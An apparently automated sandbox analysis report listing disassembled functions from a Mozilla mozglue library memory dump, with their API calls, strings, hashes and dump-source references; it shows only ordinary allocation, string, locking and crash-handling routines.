?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C6BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA87B

Part of subcall function 6C6BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C6BA88F,00000000), ref: 6C6BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C6BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA90C
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA97E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction ID: bb51f4b2f4feef7e7fc4b44630dd317ed3b6147944fb21cdc06fafba0641b0b7
Opcode Fuzzy Hash: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction Fuzzy Hash: 8E41D4B0E002089FDB00DFA4D885BDEB770FF09324F148629E826AB791D771E955CB99

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C65B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

<jemalloc>, xrefs: 6C690D92, 6C690DB9
: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

name, xrefs: 6C6B1939
{marker.name} - {marker.data.name}, xrefs: 6C6B18C7
Details, xrefs: 6C6B1925

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6C98D9

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction ID: 84c184053eb01ea360ad2783384926cf2274fa4c0e4429a66cb157956828c49a
Opcode Fuzzy Hash: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction Fuzzy Hash: 6F310871B001086BDB14AF59DC445EE77B9DF85718F50842DEA0A9BB40DB71A904CBEE

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
